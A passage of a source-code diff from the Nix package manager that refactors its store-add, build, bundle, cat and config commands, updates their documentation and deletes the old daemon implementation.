addFlag(flag::hashAlgo(&hashAlgo)); } void run(ref store) override { if (!namePart) namePart = baseNameOf(path); - StringSink sink; - dumpPath(path, sink); + auto [accessor, path2] = PosixSourceAccessor::createAtRoot(path); - auto narHash = hashString(htSHA256, sink.s); + auto storePath = dryRun + ? store->computeStorePath( + *namePart, {accessor, path2}, caMethod, hashAlgo, {}).first + : store->addToStoreSlow( + *namePart, {accessor, path2}, caMethod, hashAlgo, {}).path; - Hash hash = narHash; - if (ingestionMethod == FileIngestionMethod::Flat) { - HashSink hsink(htSHA256); - readFile(path, hsink); - hash = hsink.finish().first; - } + logger->cout("%s", store->printStorePath(storePath)); + } +}; - ValidPathInfo info { - store->makeFixedOutputPath(ingestionMethod, hash, *namePart), - narHash, - }; - info.narSize = sink.s.size(); - info.ca = std::optional { FixedOutputHash { - .method = ingestionMethod, - .hash = hash, - } }; +struct CmdAdd : CmdAddToStore +{ + std::string description() override + { + return "Add a file or directory to the Nix store"; + } - if (!dryRun) { - auto source = StringSource(sink.s); - store->addToStore(info, source); - } - - logger->cout("%s", store->printStorePath(info.path)); + std::string doc() override + { + return + #include "add.md" + ; } }; @@ -64,41 +68,23 @@ struct CmdAddFile : CmdAddToStore { CmdAddFile() { - ingestionMethod = FileIngestionMethod::Flat; + caMethod = ContentAddressMethod::Raw::Flat; } std::string description() override { - return "add a regular file to the Nix store"; - } - - std::string doc() override - { - return - #include "add-file.md" - ; + return "Deprecated. Use [`nix store add --mode flat`](@docroot@/command-ref/new-cli/nix3-store-add.md) instead."; } }; struct CmdAddPath : CmdAddToStore { - CmdAddPath() - { - ingestionMethod = FileIngestionMethod::Recursive; - } - std::string description() override { - return "add a path to the Nix store"; - } - - std::string doc() override - { - return - #include "add-path.md" - ; + return "Deprecated alias to [`nix store add`](@docroot@/command-ref/new-cli/nix3-store-add.md)."; } }; static auto rCmdAddFile = registerCommand2({"store", "add-file"}); static auto rCmdAddPath = registerCommand2({"store", "add-path"}); +static auto rCmdAdd = registerCommand2({"store", "add"}); diff --git a/src/nix/add-path.md b/src/nix/add.md similarity index 94% rename from src/nix/add-path.md rename to src/nix/add.md index 87473611d..d38cd21d8 100644 --- a/src/nix/add-path.md +++ b/src/nix/add.md @@ -19,7 +19,7 @@ Add a directory to the store: # mkdir dir # echo foo > dir/bar -# nix store add-path ./dir +# nix store add ./dir /nix/store/6pmjx56pm94n66n4qw1nff0y1crm8nqg-dir # cat /nix/store/6pmjx56pm94n66n4qw1nff0y1crm8nqg-dir/bar diff --git a/src/nix/app.cc b/src/nix/app.cc index 5658f2a52..935ed18ec 100644 --- a/src/nix/app.cc +++ b/src/nix/app.cc @@ -1,38 +1,16 @@ #include "installables.hh" +#include "installable-derived-path.hh" +#include "installable-value.hh" #include "store-api.hh" #include "eval-inline.hh" #include "eval-cache.hh" #include "names.hh" #include "command.hh" #include "derivations.hh" +#include "downstream-placeholder.hh" namespace nix { -struct InstallableDerivedPath : Installable -{ - ref store; - const DerivedPath derivedPath; - - InstallableDerivedPath(ref store, const DerivedPath & derivedPath) - : store(store) - , derivedPath(derivedPath) - { - } - - - std::string what() const override { return derivedPath.to_string(*store); } - - DerivedPaths toDerivedPaths() override - { - return {derivedPath}; - } - - std::optional getStorePath() override - { - return std::nullopt; - } -}; - /** * Return the rewrites that are needed to resolve a string whose context is * included in `dependencies`. @@ -42,13 +20,26 @@ StringPairs resolveRewrites( const std::vector & dependencies) { StringPairs res; - for (auto & dep : dependencies) - if (auto drvDep = std::get_if(&dep.path)) - for (auto & [ outputName, outputPath ] : drvDep->outputs) - res.emplace( - downstreamPlaceholder(store, drvDep->drvPath, outputName), - store.printStorePath(outputPath) - ); + if (!experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) { + return res; + } + for (auto &dep: dependencies) { + auto drvDep = std::get_if(&dep.path); + if (!drvDep) { + continue; + } + + for (const auto & [ outputName, outputPath ] : drvDep->outputs) { + res.emplace( + DownstreamPlaceholder::fromSingleDerivedPathBuilt( + SingleDerivedPath::Built { + .drvPath = make_ref(drvDep->drvPath->discardOutputPath()), + .output = outputName, + }).render(), + store.printStorePath(outputPath) + ); + } + } return res; } @@ -64,27 +55,47 @@ std::string resolveString( return rewriteStrings(toResolve, rewrites); } -UnresolvedApp Installable::toApp(EvalState & state) +UnresolvedApp InstallableValue::toApp(EvalState & state) { auto cursor = getCursor(state); auto attrPath = cursor->getAttrPath(); auto type = cursor->getAttr("type")->getString(); - std::string expected = !attrPath.empty() && + std::string expectedType = !attrPath.empty() && (state.symbols[attrPath[0]] == "apps" || state.symbols[attrPath[0]] == "defaultApp") ? "app" : "derivation"; - if (type != expected) - throw Error("attribute '%s' should have type '%s'", cursor->getAttrPathStr(), expected); + if (type != expectedType) + throw Error("attribute '%s' should have type '%s'", cursor->getAttrPathStr(), expectedType); if (type == "app") { auto [program, context] = cursor->getAttr("program")->getStringWithContext(); - std::vector context2; - for (auto & [path, name] : context) - context2.push_back({path, {name}}); + std::vector context2; + for (auto & c : context) { + context2.emplace_back(std::visit(overloaded { + [&](const NixStringContextElem::DrvDeep & d) -> DerivedPath { + /* We want all outputs of the drv */ + return DerivedPath::Built { + .drvPath = makeConstantStorePathRef(d.drvPath), + .outputs = OutputsSpec::All {}, + }; + }, + [&](const NixStringContextElem::Built & b) -> DerivedPath { + return DerivedPath::Built { + .drvPath = b.drvPath, + .outputs = OutputsSpec::Names { b.output }, + }; + }, + [&](const NixStringContextElem::Opaque & o) -> DerivedPath { + return DerivedPath::Opaque { + .path = o.path, + }; + }, + }, c.raw)); + } - return UnresolvedApp{App { + return UnresolvedApp { App { .context = std::move(context2), .program = program, }}; @@ -106,7 +117,10 @@ UnresolvedApp Installable::toApp(EvalState & state) : DrvName(name).name; auto program = outPath + "/bin/" + mainProgram; return UnresolvedApp { App { - .context = { { drvPath, {outputName} } }, + .context = { DerivedPath::Built { + .drvPath = makeConstantStorePathRef(drvPath), + .outputs = OutputsSpec::Names { outputName }, + } }, .program = program, }}; } @@ -120,11 +134,11 @@ App UnresolvedApp::resolve(ref evalStore, ref store) { auto res = unresolved; - std::vector> installableContext; + Installables installableContext; for (auto & ctxElt : unresolved.context) installableContext.push_back( - std::make_shared(store, ctxElt.toDerivedPath())); + make_ref(store, DerivedPath { ctxElt })); auto builtContext = Installable::build(evalStore, store, Realise::Outputs, installableContext); res.program = resolveString(*store, unresolved.program, builtContext); diff --git a/src/nix/build-remote b/src/nix/build-remote new file mode 120000 index 000000000..2cea44d46 --- /dev/null +++ b/src/nix/build-remote @@ -0,0 +1 @@ +../build-remote \ No newline at end of file diff --git a/src/nix/build-utils-meson b/src/nix/build-utils-meson new file mode 120000 index 000000000..91937f183 --- /dev/null +++ b/src/nix/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson/ \ No newline at end of file diff --git a/src/nix/build.cc b/src/nix/build.cc index 94b169167..da9132d02 100644 --- a/src/nix/build.cc +++ b/src/nix/build.cc @@ -1,4 +1,3 @@ -#include "eval.hh" #include "command.hh" #include "common-args.hh" #include "shared.hh" @@ -10,26 +9,28 @@ using namespace nix; -nlohmann::json derivedPathsToJSON(const DerivedPaths & paths, ref store) +static nlohmann::json derivedPathsToJSON(const DerivedPaths & paths, Store & store) { auto res = nlohmann::json::array(); for (auto & t : paths) { - std::visit([&res, store](const auto & t) { + std::visit([&](const auto & t) { res.push_back(t.toJSON(store)); }, t.raw()); } return res; } -nlohmann::json builtPathsWithResultToJSON(const std::vector & buildables, ref store) +static nlohmann::json builtPathsWithResultToJSON(const std::vector & buildables, const Store & store) { auto res = nlohmann::json::array(); for (auto & b : buildables) { std::visit([&](const auto & t) { auto j = t.toJSON(store); if (b.result) { - j["startTime"] = b.result->startTime; - j["stopTime"] = b.result->stopTime; + if (b.result->startTime) + j["startTime"] = b.result->startTime; + if (b.result->stopTime) + j["stopTime"] = b.result->stopTime; if (b.result->cpuUser) j["cpuUser"] = ((double) b.result->cpuUser->count()) / 1000000; if (b.result->cpuSystem) @@ -41,6 +42,29 @@ nlohmann::json builtPathsWithResultToJSON(const std::vector return res; } +// TODO deduplicate with other code also setting such out links. +static void createOutLinks(const std::filesystem::path& outLink, const std::vector& buildables, LocalFSStore& store2) +{ + for (const auto & [_i, buildable] : enumerate(buildables)) { + auto i = _i; + std::visit(overloaded { + [&](const BuiltPath::Opaque & bo) { + auto symlink = outLink; + if (i) symlink += fmt("-%d", i); + store2.addPermRoot(bo.path, absPath(symlink.string())); + }, + [&](const BuiltPath::Built & bfd) { + for (auto & output : bfd.outputs) { + auto symlink = outLink; + if (i) symlink += fmt("-%d", i); + if (output.first != "out") symlink += fmt("-%s", output.first); + store2.addPermRoot(output.second, absPath(symlink.string())); + } + }, + }, buildable.path.raw()); + } +} + struct CmdBuild : InstallablesCommand, MixDryRun, MixJSON, MixProfile { Path outLink = "result"; @@ -89,59 +113,45 @@ struct CmdBuild : InstallablesCommand, MixDryRun, MixJSON, MixProfile ; } - void run(ref store) override + void run(ref store, Installables && installables) override { if (dryRun) { std::vector pathsToBuild; - for (auto & i : installables) { - auto b = i->toDerivedPaths(); - pathsToBuild.insert(pathsToBuild.end(), b.begin(), b.end()); - } + for (auto & i : installables) + for (auto & b : i->toDerivedPaths()) + pathsToBuild.push_back(b.path); + printMissing(store, pathsToBuild, lvlError); + if (json) - logger->cout("%s", derivedPathsToJSON(pathsToBuild, store).dump()); + logger->cout("%s", derivedPathsToJSON(pathsToBuild, *store).dump()); + return; } auto buildables = Installable::build( getEvalStore(), store, Realise::Outputs, - installables, buildMode); + installables, + repair ? bmRepair : buildMode); - if (json) logger->cout("%s", builtPathsWithResultToJSON(buildables, store).dump()); + if (json) logger->cout("%s", builtPathsWithResultToJSON(buildables, *store).dump()); if (outLink != "") if (auto store2 = store.dynamic_pointer_cast()) - for (const auto & [_i, buildable] : enumerate(buildables)) { - auto i = _i; - std::visit(overloaded { - [&](const BuiltPath::Opaque & bo) { - std::string symlink = outLink; - if (i) symlink += fmt("-%d", i); - store2->addPermRoot(bo.path, absPath(symlink)); - }, - [&](const BuiltPath::Built & bfd) { - for (auto & output : bfd.outputs) { - std::string symlink = outLink; - if (i) symlink += fmt("-%d", i); - if (output.first != "out") symlink += fmt("-%s", output.first); - store2->addPermRoot(output.second, absPath(symlink)); - } - }, - }, buildable.path.raw()); - } + createOutLinks(outLink, buildables, *store2); if (printOutputPaths) { stopProgressBar(); for (auto & buildable : buildables) { std::visit(overloaded { [&](const BuiltPath::Opaque & bo) { - std::cout << store->printStorePath(bo.path) << std::endl; + logger->cout(store->printStorePath(bo.path)); }, [&](const BuiltPath::Built & bfd) { for (auto & output : bfd.outputs) { - std::cout << store->printStorePath(output.second) << std::endl; + logger->cout(store->printStorePath(output.second)); } }, }, buildable.path.raw()); diff --git a/src/nix/build.md b/src/nix/build.md index 6a79f308c..5dfdd44a7 100644 --- a/src/nix/build.md +++ b/src/nix/build.md @@ -40,11 +40,23 @@ R""( lrwxrwxrwx 1 … ./result-dev -> /nix/store/dkm3gwl0xrx0wrw6zi5x3px3lpgjhlw4-glibc-2.32-dev ``` +* Build all outputs: + + ```console + # nix build "nixpkgs#openssl^*" --print-out-paths + /nix/store/gvad6v0cmq1qccmc4wphsazqbj0xzjsl-openssl-3.0.13-bin + /nix/store/a07jqdrc8afnk8r6f3lnhh4gvab7chk4-openssl-3.0.13-debug + /nix/store/yg75achq89wgqn2fi3gglgsd77kjpi03-openssl-3.0.13-dev + /nix/store/bvdcihi8c88fw31cg6gzzmpnwglpn1jv-openssl-3.0.13-doc + /nix/store/gjqcvq47cmxazxga0cirspm3jywkmvfv-openssl-3.0.13-man + /nix/store/7nmrrad8skxr47f9hfl3xc0pfqmwq51b-openssl-3.0.13 + ``` + * Build attribute `build.x86_64-linux` from (non-flake) Nix expression `release.nix`: ```console - # nix build -f release.nix build.x86_64-linux + # nix build --file release.nix build.x86_64-linux ``` * Build a NixOS system configuration from a flake, and make a profile @@ -82,7 +94,7 @@ R""( # Description -`nix build` builds the specified *installables*. Installables that +`nix build` builds the specified *installables*. [Installables](./nix.md#installables) that resolve to derivations are built (or substituted if possible). Store path installables are substituted. diff --git a/src/nix/bundle.cc b/src/nix/bundle.cc index 2e48e4c74..e152c26f2 100644 --- a/src/nix/bundle.cc +++ b/src/nix/bundle.cc @@ -1,13 +1,14 @@ -#include "command.hh" +#include "installable-flake.hh" +#include "command-installable-value.hh" #include "common-args.hh" #include "shared.hh" #include "store-api.hh" #include "local-fs-store.hh" -#include "fs-accessor.hh" +#include "eval-inline.hh" using namespace nix; -struct CmdBundle : InstallableCommand +struct CmdBundle : InstallableValueCommand { std::string bundler = "github:NixOS/bundlers"; std::optional outLink; @@ -19,8 +20,8 @@ struct CmdBundle : InstallableCommand .description = fmt("Use a custom bundler instead of the default (`%s`).", bundler), .labels = {"flake-url"}, .handler = {&bundler}, - .completer = {[&](size_t, std::string_view prefix) { - completeFlakeRef(getStore(), prefix); + .completer = {[&](AddCompletions & completions, size_t, std::string_view prefix) { + completeFlakeRef(completions, getStore(), prefix); }} }); @@ -69,16 +70,18 @@ struct CmdBundle : InstallableCommand return res; } - void run(ref store) override + void run(ref store, ref installable) override { auto evalState = getEvalState(); auto val = installable->toValue(*evalState).first; - auto [bundlerFlakeRef, bundlerName, outputsSpec] = parseFlakeRefWithFragmentAndOutputsSpec(bundler, absPath(".")); + auto [bundlerFlakeRef, bundlerName, extendedOutputsSpec] = + parseFlakeRefWithFragmentAndExtendedOutputsSpec( + fetchSettings, bundler, absPath(".")); const flake::LockFlags lockFlags{ .writeLockFile = false }; InstallableFlake bundler{this, - evalState, std::move(bundlerFlakeRef), bundlerName, outputsSpec, + evalState, std::move(bundlerFlakeRef), bundlerName, std::move(extendedOutputsSpec), {"bundlers." + settings.thisSystem.get() + ".default", "defaultBundler." + settings.thisSystem.get() }, @@ -92,28 +95,33 @@ struct CmdBundle : InstallableCommand if (!evalState->isDerivation(*vRes)) throw Error("the bundler '%s' does not produce a derivation", bundler.what()); - auto attr1 = vRes->attrs->get(evalState->sDrvPath); + auto attr1 = vRes->attrs()->get(evalState->sDrvPath); if (!attr1) throw Error("the bundler '%s' does not produce a derivation", bundler.what()); - PathSet context2; - auto drvPath = evalState->coerceToStorePath(attr1->pos, *attr1->value, context2); + NixStringContext context2; + auto drvPath = evalState->coerceToStorePath(attr1->pos, *attr1->value, context2, ""); - auto attr2 = vRes->attrs->get(evalState->sOutPath); + drvPath.requireDerivation(); + + auto attr2 = vRes->attrs()->get(evalState->sOutPath); if (!attr2) throw Error("the bundler '%s' does not produce a derivation", bundler.what()); - auto outPath = evalState->coerceToStorePath(attr2->pos, *attr2->value, context2); + auto outPath = evalState->coerceToStorePath(attr2->pos, *attr2->value, context2, ""); - store->buildPaths({ DerivedPath::Built { drvPath } }); - - auto outPathS = store->printStorePath(outPath); + store->buildPaths({ + DerivedPath::Built { + .drvPath = makeConstantStorePathRef(drvPath), + .outputs = OutputsSpec::All { }, + }, + }); if (!outLink) { - auto * attr = vRes->attrs->get(evalState->sName); + auto * attr = vRes->attrs()->get(evalState->sName); if (!attr) throw Error("attribute 'name' missing"); - outLink = evalState->forceStringNoCtx(*attr->value, attr->pos); + outLink = evalState->forceStringNoCtx(*attr->value, attr->pos, ""); } // TODO: will crash if not a localFSStore? diff --git a/src/nix/bundle.md b/src/nix/bundle.md index a18161a3c..89458aaaa 100644 --- a/src/nix/bundle.md +++ b/src/nix/bundle.md @@ -29,7 +29,7 @@ R""( # Description -`nix bundle`, by default, packs the closure of the *installable* into a single +`nix bundle`, by default, packs the closure of the [*installable*](./nix.md#installables) into a single self-extracting executable. See the [`bundlers` homepage](https://github.com/NixOS/bundlers) for more details. diff --git a/src/nix/cat.cc b/src/nix/cat.cc index 6420a0f79..ee904b0c5 100644 --- a/src/nix/cat.cc +++ b/src/nix/cat.cc @@ -1,7 +1,7 @@ #include "command.hh" #include "store-api.hh" -#include "fs-accessor.hh" #include "nar-accessor.hh" +#include "progress-bar.hh" using namespace nix; @@ -9,15 +9,14 @@ struct MixCat : virtual Args { std::string path; - void cat(ref accessor) + void cat(ref accessor) { - auto st = accessor->stat(path); - if (st.type == FSAccessor::Type::tMissing) - throw Error("path '%1%' does not exist", path); - if (st.type != FSAccessor::Type::tRegular) + auto st = accessor->lstat(CanonPath(path)); + if (st.type != SourceAccessor::Type::tRegular) throw Error("path '%1%' is not a regular file", path); + stopProgressBar(); - std::cout << accessor->readFile(path); + writeFull(getStandardOut(), accessor->readFile(CanonPath(path))); } }; diff --git a/src/nix/doctor.cc b/src/nix/config-check.cc similarity index 59% rename from src/nix/doctor.cc rename to src/nix/config-check.cc index ea87e3d87..1a6574de2 100644 --- a/src/nix/doctor.cc +++ b/src/nix/config-check.cc @@ -1,13 +1,14 @@ #include #include "command.hh" +#include "exit.hh" #include "logging.hh" #include "serve-protocol.hh" #include "shared.hh" #include "store-api.hh" #include "local-fs-store.hh" -#include "util.hh" #include "worker-protocol.hh" +#include "executable-path.hh" using namespace nix; @@ -18,7 +19,7 @@ std::string formatProtocol(unsigned int proto) if (proto) { auto major = GET_PROTOCOL_MAJOR(proto) >> 8; auto minor = GET_PROTOCOL_MINOR(proto); - return (format("%1%.%2%") % major % minor).str(); + return fmt("%1%.%2%", major, minor); } return "unknown"; } @@ -33,12 +34,26 @@ bool checkFail(const std::string & msg) { return false; } +void checkInfo(const std::string & msg) { + notice(ANSI_BLUE "[INFO] " ANSI_NORMAL + msg); } -struct CmdDoctor : StoreCommand +} + +namespace fs = std::filesystem; + +struct CmdConfigCheck : StoreCommand { bool success = true; + /** + * This command is stable before the others + */ + std::optional experimentalFeature() override + { + return std::nullopt; + } + std::string description() override { return "check your system for potential problems and print a PASS or FAIL for each check"; @@ -55,6 +70,7 @@ struct CmdDoctor : StoreCommand success &= checkProfileRoots(store); } success &= checkStoreProtocol(store->getProtocol()); + checkTrustedUser(store); if (!success) throw Exit(2); @@ -62,11 +78,13 @@ struct CmdDoctor : StoreCommand bool checkNixInPath() { - PathSet dirs; + std::set dirs; - for (auto & dir : tokenizeString(getEnv("PATH").value_or(""), ":")) - if (pathExists(dir + "/nix-env")) - dirs.insert(dirOf(canonPath(dir + "/nix-env", true))); + for (auto & dir : ExecutablePath::load().directories) { + auto candidate = dir / "nix-env"; + if (fs::exists(candidate)) + dirs.insert(fs::canonical(candidate).parent_path() ); + } if (dirs.size() != 1) { std::stringstream ss; @@ -81,21 +99,29 @@ struct CmdDoctor : StoreCommand bool checkProfileRoots(ref store) { - PathSet dirs; + std::set dirs; - for (auto & dir : tokenizeString(getEnv("PATH").value_or(""), ":")) { - Path profileDir = dirOf(dir); + for (auto & dir : ExecutablePath::load().directories) { + auto profileDir = dir.parent_path(); try { - Path userEnv = canonPath(profileDir, true); + auto userEnv = fs::weakly_canonical(profileDir); - if (store->isStorePath(userEnv) && hasSuffix(userEnv, "user-environment")) { - while (profileDir.find("/profiles/") == std::string::npos && isLink(profileDir)) - profileDir = absPath(readLink(profileDir), dirOf(profileDir)); + auto noContainsProfiles = [&]{ + for (auto && part : profileDir) + if (part == "profiles") return false; + return true; + }; - if (profileDir.find("/profiles/") == std::string::npos) + if (store->isStorePath(userEnv.string()) && hasSuffix(userEnv.string(), "user-environment")) { + while (noContainsProfiles() && std::filesystem::is_symlink(profileDir)) + profileDir = fs::weakly_canonical( + profileDir.parent_path() / fs::read_symlink(profileDir)); + + if (noContainsProfiles()) dirs.insert(dir); } - } catch (SysError &) {} + } catch (SystemError &) { + } catch (std::filesystem::filesystem_error &) {} } if (!dirs.empty()) { @@ -130,6 +156,18 @@ struct CmdDoctor : StoreCommand return checkPass("Client protocol matches store protocol."); } + + void checkTrustedUser(ref store) + { + if (auto trustedMay = store->isTrustedClient()) { + std::string_view trusted = trustedMay.value() + ? "trusted" + : "not trusted"; + checkInfo(fmt("You are %s by store uri: %s", trusted, store->getUri())); + } else { + checkInfo(fmt("Store uri: %s doesn't have a notion of trusted user", store->getUri())); + } + } }; -static auto rCmdDoctor = registerCommand("doctor"); +static auto rCmdConfigCheck = registerCommand2({ "config", "check" }); diff --git a/src/nix/config.cc b/src/nix/config.cc new file mode 100644 index 000000000..07f975a00 --- /dev/null +++ b/src/nix/config.cc @@ -0,0 +1,74 @@ +#include "command.hh" +#include "common-args.hh" +#include "shared.hh" +#include "store-api.hh" +#include "config-global.hh" + +#include + +using namespace nix; + +struct CmdConfig : NixMultiCommand +{ + CmdConfig() : NixMultiCommand("config", RegisterCommand::getCommandsFor({"config"})) + { } + + std::string description() override + { + return "manipulate the Nix configuration"; + } + + Category category() override { return catUtility; } +}; + +struct CmdConfigShow : Command, MixJSON +{ + std::optional name; + + CmdConfigShow() { + expectArgs({ + .label = {"name"}, + .optional = true, + .handler = {&name}, + }); + } + + std::string description() override + { + return "show the Nix configuration or the value of a specific setting"; + } + + Category category() override { return catUtility; } + + void run() override + { + if (name) { + if (json) { + throw UsageError("'--json' is not supported when specifying a setting name"); + } + + std::map settings; + globalConfig.getSettings(settings); + auto setting = settings.find(*name); + + if (setting == settings.end()) { + throw Error("could not find setting '%1%'", *name); + } else { + const auto & value = setting->second.value; + logger->cout("%s", value); + } + + return; + } + + if (json) { + // FIXME: use appropriate JSON types (bool, ints, etc). + logger->cout("%s", globalConfig.toJSON().dump()); + } else { + logger->cout("%s", globalConfig.toKeyValue()); + } + } +}; + +static auto rCmdConfig = registerCommand("config"); +static auto rShowConfig = registerCommand2({"config", "show"}); diff --git a/src/nix/copy.cc b/src/nix/copy.cc index 8730a9a5c..151d28277 100644 --- a/src/nix/copy.cc +++ b/src/nix/copy.cc @@ -10,8 +10,6 @@ struct CmdCopy : virtual CopyCommand, virtual BuiltPathsCommand SubstituteFlag substitute = NoSubstitute; - using BuiltPathsCommand::run; - CmdCopy() : BuiltPathsCommand(true) { diff --git a/src/nix/copy.md b/src/nix/copy.md index 25e0ddadc..6ab7cdee3 100644 --- a/src/nix/copy.md +++ b/src/nix/copy.md @@ -11,11 +11,17 @@ R""( Note the `file://` - without this, the destination is a chroot store, not a binary cache. +* Copy all store paths from a local binary cache in `/tmp/cache` to the local store: + + ```console + # nix copy --all --from file:///tmp/cache + ``` + * Copy the entire current NixOS system closure to another machine via SSH: ```console - # nix copy -s --to ssh://server /run/current-system + # nix copy --substitute-on-destination --to ssh://server /run/current-system ``` The `-s` flag causes the remote machine to try to substitute missing diff --git a/src/nix/daemon.cc b/src/nix/daemon.cc deleted file mode 100644 index c527fdb0a..000000000 --- a/src/nix/daemon.cc +++ /dev/null @@ -1,359 +0,0 @@ -#include "command.hh" -#include "shared.hh" -#include "local-store.hh" -#include "remote-store.hh" -#include "util.hh" -#include "serialise.hh" -#include "archive.hh" -#include "globals.hh" -#include "derivations.hh" -#include "finally.hh" -#include "legacy.hh" -#include "daemon.hh" - -#include -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#if __APPLE__ || __FreeBSD__ -#include -#endif - -using namespace nix; -using namespace nix::daemon; - -#ifndef __linux__ -#define SPLICE_F_MOVE 0 -static ssize_t splice(int fd_in, void *off_in, int fd_out, void *off_out, size_t len, unsigned int flags) -{ - // We ignore most parameters, we just have them for conformance with the linux syscall - std::vector buf(8192); - auto read_count = read(fd_in, buf.data(), buf.size()); - if (read_count == -1) - return read_count; - auto write_count = decltype(read_count)(0); - while (write_count < read_count) { - auto res = write(fd_out, buf.data() + write_count, read_count - write_count); - if (res == -1) - return res; - write_count += res; - } - return read_count; -} -#endif - - -static void sigChldHandler(int sigNo) -{ - // Ensure we don't modify errno of whatever we've interrupted - auto saved_errno = errno; - // Reap all dead children. - while (waitpid(-1, 0, WNOHANG) > 0) ; - errno = saved_errno; -} - - -static void setSigChldAction(bool autoReap) -{ - struct sigaction act, oact; - act.sa_handler = autoReap ? sigChldHandler : SIG_DFL; - sigfillset(&act.sa_mask); - act.sa_flags = 0; - if (sigaction(SIGCHLD, &act, &oact)) - throw SysError("setting SIGCHLD handler"); -} - - -bool matchUser(const std::string & user, const std::string & group, const Strings & users) -{ - if (find(users.begin(), users.end(), "*") != users.end()) - return true; - - if (find(users.begin(), users.end(), user) != users.end()) - return true; - - for (auto & i : users) - if (i.substr(0, 1) == "@") { - if (group == i.substr(1)) return true; - struct group * gr = getgrnam(i.c_str() + 1); - if (!gr) continue; - for (char * * mem = gr->gr_mem; *mem; mem++) - if (user == std::string(*mem)) return true; - } - - return false; -} - - -struct PeerInfo -{ - bool pidKnown; - pid_t pid; - bool uidKnown; - uid_t uid; - bool gidKnown; - gid_t gid; -}; - - -// Get the identity of the caller, if possible. -static PeerInfo getPeerInfo(int remote) -{ - PeerInfo peer = { false, 0, false, 0, false, 0 }; - -#if defined(SO_PEERCRED) - - ucred cred; - socklen_t credLen = sizeof(cred); - if (getsockopt(remote, SOL_SOCKET, SO_PEERCRED, &cred, &credLen) == -1) - throw SysError("getting peer credentials"); - peer = { true, cred.pid, true, cred.uid, true, cred.gid }; - -#elif defined(LOCAL_PEERCRED) - -#if !defined(SOL_LOCAL) -#define SOL_LOCAL 0 -#endif - - xucred cred; - socklen_t credLen = sizeof(cred); - if (getsockopt(remote, SOL_LOCAL, LOCAL_PEERCRED, &cred, &credLen) == -1) - throw SysError("getting peer credentials"); - peer = { false, 0, true, cred.cr_uid, false, 0 }; - -#endif - - return peer; -} - - -#define SD_LISTEN_FDS_START 3 - - -static ref openUncachedStore() -{ - Store::Params params; // FIXME: get params from somewhere - // Disable caching since the client already does that. - params["path-info-cache-size"] = "0"; - return openStore(settings.storeUri, params); -} - - -static void daemonLoop() -{ - if (chdir("/") == -1) - throw SysError("cannot change current directory"); - - AutoCloseFD fdSocket; - - // Handle socket-based activation by systemd. - auto listenFds = getEnv("LISTEN_FDS"); - if (listenFds) { - if (getEnv("LISTEN_PID") != std::to_string(getpid()) || listenFds != "1") - throw Error("unexpected systemd environment variables"); - fdSocket = SD_LISTEN_FDS_START; - closeOnExec(fdSocket.get()); - } - - // Otherwise, create and bind to a Unix domain socket. - else { - createDirs(dirOf(settings.nixDaemonSocketFile)); - fdSocket = createUnixDomainSocket(settings.nixDaemonSocketFile, 0666); - } - - // Get rid of children automatically; don't let them become zombies. - setSigChldAction(true); - - // Loop accepting connections. - while (1) { - - try { - // Accept a connection. - struct sockaddr_un remoteAddr; - socklen_t remoteAddrLen = sizeof(remoteAddr); - - AutoCloseFD remote = accept(fdSocket.get(), - (struct sockaddr *) &remoteAddr, &remoteAddrLen); - checkInterrupt(); - if (!remote) { - if (errno == EINTR) continue; - throw SysError("accepting connection"); - } - - closeOnExec(remote.get()); - - TrustedFlag trusted = NotTrusted; - PeerInfo peer = getPeerInfo(remote.get()); - - struct passwd * pw = peer.uidKnown ? getpwuid(peer.uid) : 0; - std::string user = pw ? pw->pw_name : std::to_string(peer.uid); - - struct group * gr = peer.gidKnown ? getgrgid(peer.gid) : 0; - std::string group = gr ? gr->gr_name : std::to_string(peer.gid); - - Strings trustedUsers = settings.trustedUsers; - Strings allowedUsers = settings.allowedUsers; - - if (matchUser(user, group, trustedUsers)) - trusted = Trusted; - - if ((!trusted && !matchUser(user, group, allowedUsers)) || group == settings.buildUsersGroup) - throw Error("user '%1%' is not allowed to connect to the Nix daemon", user); - - printInfo(format((std::string) "accepted connection from pid %1%, user %2%" + (trusted ? " (trusted)" : "")) - % (peer.pidKnown ? std::to_string(peer.pid) : "") - % (peer.uidKnown ? user : "")); - - // Fork a child to handle the connection. - ProcessOptions options; - options.errorPrefix = "unexpected Nix daemon error: "; - options.dieWithParent = false; - options.runExitHandlers = true; - options.allowVfork = false; - startProcess([&]() { - fdSocket = -1; - - // Background the daemon. - if (setsid() == -1) - throw SysError("creating a new session"); - - // Restore normal handling of SIGCHLD. - setSigChldAction(false); - - // For debugging, stuff the pid into argv[1]. - if (peer.pidKnown && savedArgv[1]) { - auto processName = std::to_string(peer.pid); - strncpy(savedArgv[1], processName.c_str(), strlen(savedArgv[1])); - } - - // Handle the connection. - FdSource from(remote.get()); - FdSink to(remote.get()); - processConnection(openUncachedStore(), from, to, trusted, NotRecursive, [&](Store & store) { -#if 0 - /* Prevent users from doing something very dangerous. */ - if (geteuid() == 0 && - querySetting("build-users-group", "") == "") - throw Error("if you run 'nix-daemon' as root, then you MUST set 'build-users-group'!"); -#endif - store.createUser(user, peer.uid); - }); - - exit(0); - }, options); - - } catch (Interrupted & e) { - return; - } catch (Error & error) { - auto ei = error.info(); - // FIXME: add to trace? - ei.msg = hintfmt("error processing connection: %1%", ei.msg.str()); - logError(ei); - } - } -} - -static void runDaemon(bool stdio) -{ - if (stdio) { - if (auto store = openUncachedStore().dynamic_pointer_cast()) { - auto conn = store->openConnectionWrapper(); - int from = conn->from.fd; - int to = conn->to.fd; - - auto nfds = std::max(from, STDIN_FILENO) + 1; - while (true) { - fd_set fds; - FD_ZERO(&fds); - FD_SET(from, &fds); - FD_SET(STDIN_FILENO, &fds); - if (select(nfds, &fds, nullptr, nullptr, nullptr) == -1) - throw SysError("waiting for data from client or server"); - if (FD_ISSET(from, &fds)) { - auto res = splice(from, nullptr, STDOUT_FILENO, nullptr, SSIZE_MAX, SPLICE_F_MOVE); - if (res == -1) - throw SysError("splicing data from daemon socket to stdout"); - else if (res == 0) - throw EndOfFile("unexpected EOF from daemon socket"); - } - if (FD_ISSET(STDIN_FILENO, &fds)) { - auto res = splice(STDIN_FILENO, nullptr, to, nullptr, SSIZE_MAX, SPLICE_F_MOVE); - if (res == -1) - throw SysError("splicing data from stdin to daemon socket"); - else if (res == 0) - return; - } - } - } else { - FdSource from(STDIN_FILENO); - FdSink to(STDOUT_FILENO); - /* Auth hook is empty because in this mode we blindly trust the - standard streams. Limiting access to those is explicitly - not 